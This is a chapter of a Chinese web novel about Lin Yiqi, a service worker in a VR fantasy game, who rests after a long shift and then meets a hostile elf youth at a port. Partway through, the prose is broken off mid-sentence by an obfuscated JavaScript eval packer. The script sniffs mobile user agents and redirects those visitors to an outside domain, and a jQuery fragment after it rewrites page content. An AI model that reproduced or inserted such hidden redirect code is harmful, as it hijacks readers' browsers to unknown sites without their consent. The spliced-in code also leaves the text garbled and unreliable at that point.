和所有风靡一时的游戏一样，“万界”设置有防沉迷系统。如果玩家登陆达到设置的警戒时间，无论你是在挖掘神秘宝藏的现场，在对真爱表白心迹的关键时刻，还是身处一场轰轰烈烈的白刃战中途，都会被友善地请求下线。三次警告无效之后，系统自动做离线处理。
林一七使用的终端也有登陆限制，但不是因为防沉迷，而是因为一次轮班超过八小时违反劳动法。不过事实上，作为陪同玩家的服务人员，她很少真正长时间一直在线。比方说，跟随塞西莉娅小姐的地面客服有三人，当她和喜欢的角色互动时，林一七会下线休息，吃午饭，甚至抽空去喝杯咖啡。
因此，当她自己身处一段独立剧情之中，完整地玩了八小时游戏才下线之后，她感到腰酸背痛，晕头转向，而且饿得要命。
“别和我说话，我不想聊工作。”她在公共浴室冲了澡，在按摩椅上躺了一小时，吃掉了两份牛扒盖饭，坐在部门休息室啜饮热茶，期间统一地对走过来搭话的同事说，“除非你是那个天杀的编剧，想要向我解释那些诡异的月亮。”
“我也搞不懂月亮的事。”最后走来的人笑嘻嘻地说，“我来是想告诉你：姐，你火了。”
他递过来一个平板，上面是某热门社区游戏频道的主页，播放量最高的一列是各路主播的观看反应，一列是剧情解析视频。除了少数几个骑士拉尔斯在冰原上摔跤的图片，大部分都用占星师小队的剧情线做了封面，甚至还有惟妙惟肖的Q版人物。
林一七毫无波澜地扫了一眼，问道：“这能算进绩效奖金吗？”
“大概不能。”
“那有啥用。”林一七把脑袋磕在马克杯上，“如果市场部高兴，请他们下次给我安排点好相处的客户吧。”
“广告效果做得越好，就越会招来对游戏本身不感兴趣的玩家。”对方一针见血地说，“我看你注定要失望了。”
林一七叹了口气，把平板推回他面前。
“好吧，那你那边进展得怎么样，伊三五？”
“非要这么叫我吗？”伊三五作出一副夸张的悲痛表情，“我和你们这群工作狂不一样！我入职证件上是注册了自己的名字的！”
“对不起，我又忘了。你叫什么来着？”
“伊奥安尼基·斯塔尼斯拉沃维奇·瓦拉基米洛夫。”
“好的，伊三五。”林一七说，“你怎么样？他们把你分配到哪儿去了？”
有着拗口名字的斯拉夫人双手捧心，对她的忽视表达了抗议。但他显然也不是真的计较，还吃起了林一七从夜宵食堂拿来的特供饼干。
“我那边无聊得很，几乎毫无进展。”他边吃边说，“没有王子，也没有宝石。我把角色放在墙边坐着，然后中途下线，再回来换个姿势，半天都没人发现。我还看了俩小时你们那条线的直播。顺带一提，那位恶魔女士的建模可真辣。”
“啊？你在哪里？”林一七有点惊讶，“没有支线剧情吗？”
“有，但是一言难尽。”伊三五翻了个白眼，“别笑，很快就轮到你了。”
“你出生地就在精灵领？露娜希尔？”林一七更惊讶了，“为什么困难，能给点提示不？”
“你要不联个网？我给你推荐几个剧情主播？”伊三五开了个玩笑，马上作出投降的手势，“要说也行，不过在这儿讲多没气氛呀。我觉得还是你自己发现会更有趣一点。”
***
直到第二天上线之前，林一七也没有去搜索网络上的剧情切片。一部分是试图维持点专业性，一部分是因为她累了。而这身心俱疲的因素也很好解释……她登陆进游戏，在晨光中睁开眼，发现同伴们都已经醒了，各自干着自己的事。没有一个主动和她说话。
没错，前一天晚上，在半个小时关于路线的争论之后，萨迦和艾伦都生气了。
他们借宿在铁棘城的警卫室里，如果不考虑被吃掉的人的存在感，生活物资还算方便。林一七在令人尴尬的沉默中简单地洗漱，收拾了行装，还观察了底层几个额外的房间。其中一个房间像是给访客的，石头台面上散落着凌乱的羽毛笔和亚麻纸，纸面上还有一些划痕。
萨迦曾经说，伊米尔派她去送信。巨人知道自己可能被杀吗？那封信是送给谁的，里面写了什么呢？
她站在窗边，对着晨光展开留有痕迹的纸张，试图找到一些信息。这时候门边传来脚步声，林一七回过头，看见是艾伦走了进来。
“早上好！”林一七首先说，努力表现得友好，“我又想了一下，其实我们也可以——”
“我已经说服萨迦了。”艾伦有些平淡地说，“她正在让英格尔做准备。早上出发，我们下午就能到港口，然后转向露娜希尔。”
林一七眨了眨眼睛。
“哦，”她说，“谢谢你。”
“不用。”艾伦说，走过来看了一眼她手中的信纸，“你说的是对的。我们不知道艾尔达如何行动，不能判断她的位置，也不知道如何对付她身上的恶魔。不如寻找离我们最近的线索，反而会再次碰见她。只不过大家的处境毕竟不同，如果她还在生气，也请你谅解。”
“当然，”林一七赶忙说，“遇到选择时每个人想法都不一样……”
“不，”艾伦说，“我的意思是，你没有失去你在意的人。”
一阵沉默，艾伦大概自己觉得话说重了，露出抱歉的神色。但他张了张嘴，也没有说出什么解释。林一七主动打破僵局，把信纸收进长袍内袋里，说道：“那这就动身吧。”
***
他们果然在下午到达了弗里霍芬港。这里是尼比兰德与其他种族领地之间最大的中转站，通过水路可以通往精灵和巨人的领地，通过山道则可以深入丘陵地区，见到聚居在那里的半身人。若是往山下走，则会遇见地下洞穴，金属矿脉和熔岩湖泊。
港口人声鼎沸。看起来十分繁忙，但是也酝酿着不安的气氛。许多旅行者聚集在一起窃窃私语，“魔物”、“入侵”、“女王”之类的词语不时进入耳中。看起来随着时间流逝，全国的局势都变得更加紧张。
几个人在街道中央的布告栏前停下，阅读前往不同地区的交通指引图示。金属浇铸的大地图旁边还贴有一张印有金色皇家徽章的文书，施加了魔法以确保不会褪色。林一七瞥了一眼，正是号
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15445408|168831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
召人们去寻找宝石、解救国家的那一张。署名是薇尔莉特公主。
“艾尔达的提问其实有点奇怪。”她转回去望着地图说，“她说想问我最近的宝石的位置，但就尼比兰德来说，精灵的领地比巨人和矮人的都要近。要么她并不是真心要问我，要么她觉得，这个地区的宝石有什么特点，让她可以先搁置在一边。”
“又或者她只是不想先惹上精灵。”艾伦说，“他们是强大的魔法师，可能有对付她的办法。”
“我不觉得是这样。”萨迦搭腔道，终于又开始和他们说话，“上次路过港口时，伊米尔曾经得到消息说，埃斯特尔回到了精灵领。可能那女人不想先去找他。”
艾伦和林一七困惑地对视了一眼：“谁？”
“埃斯特尔·希尔维里安。”萨迦冷漠地说，“精灵议会的长老之一，女王的丈夫，公主的父亲。想必他们曾经也是‘战友’吧。”
旁边有人说道： “一派胡言！”
***
三个人循声望去。他们身边站着一个穿灰色长袍的人，也带着看不清面孔的兜帽。从身型看，他个头比艾伦还要高一些，但听那怀着怨愤的声音，似乎是个还没长大的青少年。
经过艾尔达的事情之后，林一七对打扮成这样的人多少有了点心理阴影。她还没说什么，萨迦先尖刻地说道：“你又是什么人？连面都不敢露，就随便对路过的人指手画脚？”
“你也知道自己只是个路人，就敢对不认识的人的家事胡说八道？”对方同样刻薄地回答，“而且谁说我不敢露面？只是免得你像个傻子似地盯着看罢了。”
他随之转过身来。露出被布料遮盖的正脸。果然是个高个儿的青少年，看起来似乎十六七岁，还没完全长开。他碧绿的眼睛又圆又大，下巴尖尖的，有一种雌雄莫辨的美感，皮肤黝黑，蜷曲的头发是银色的。
三个人都睁大了眼睛。
“暗精灵。”艾伦吃惊地说，“这个种族真的存在啊？”
“没有‘暗精灵’那种东西，蠢货。”对方毫不客气地回答，“露娜希尔的子民是受月神的赐福降生的。肤色、性别和魔法的属性都由月神决定，和你们人类那些肮脏的所谓‘婚姻’‘血统’毫无关系。这也是为什么埃斯特尔是个令人蒙羞的败类。他跑去和人类‘结婚’，居然还有了孩子。完全把议会的传统和荣誉踩在脚下！”
萨迦和他大眼瞪小眼一阵，转身去看艾伦，艾伦摇摇头，她又转向林一七。林一七回答：“我没听说过。”
“你看，我们都没听说过有这事。”萨迦双手叉腰，“他们俩都结婚五十年了，全大陆每年都庆祝女王的结婚纪念日。如果精灵对女王和王夫的结合如此不满，他们也没说出来啊。你又是哪位？这不是你自己瞎编的吧？”
“你才是瞎编的呢！”对方大怒，“我告诉你，我是——”
但他还没说完，远处有人唤道：“欧里安大人！我们的船过来了。”
几个站在港口边的人，也都穿着遮盖大部分面孔的长袍。正指着驶来的船只向这边招手。
叫做欧里安的精灵止住话头，狠狠瞪了萨迦一眼，转身走了。